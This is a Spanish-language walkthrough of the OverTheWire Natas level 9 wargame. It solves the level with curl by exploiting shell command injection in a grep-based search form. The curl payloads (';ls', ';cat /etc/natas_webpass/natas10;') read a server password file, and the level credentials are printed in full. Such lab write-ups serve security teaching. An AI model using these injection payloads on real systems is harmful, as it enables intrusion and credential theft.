OverTheWire - Natas 8 -> 9 (sin navegador)
August 2022
Información
Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org
Solución
Primero ejecutamos el comando curl con el parámetro -u
para indicar las credenciales.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/
Vemos que necesitamos ingresar un valor para buscar, y su código fuente es encuentra en index-source.html
.
Vamos al archivo pero no se puede leer nada.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/index-source.html
Solucionamos esto con la herramienta html2text
que se puede instalar con sudo apt install html2text
.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/index-source.html | html2text
Observamos que se está ejecutando el comando grep contra el archivo dictionary.txt.
El input que ingresamos se guarda en la variable $key
y se agrega al comando grep sin ningún filtro, por lo tanto, podremos ejecutar comandos.
Volvemos a la página principal y con el parámetro -d
ingresamos los valores needle=;ls
y submit
que puede ser cualquier cosa. Usamos ;
para terminar el comando grep y ls
para listar los archivos.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/ -d 'needle=;ls&submit=hola'
Vemos el resultado del comando.
Ejecutamos el comando cat
sobre el archivo que almacena la contraseña de natas10, pero nos muestra todo el archivo dictionary.txt.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/ -d ';cat /etc/natas_webpass/natas10&submit=hola'
Esto lo solucionamos simplemente agregando un ;
al final del comando.
curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/ -d ';cat /etc/natas_webpass/natas10;&submit=hola'
Contraseña
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu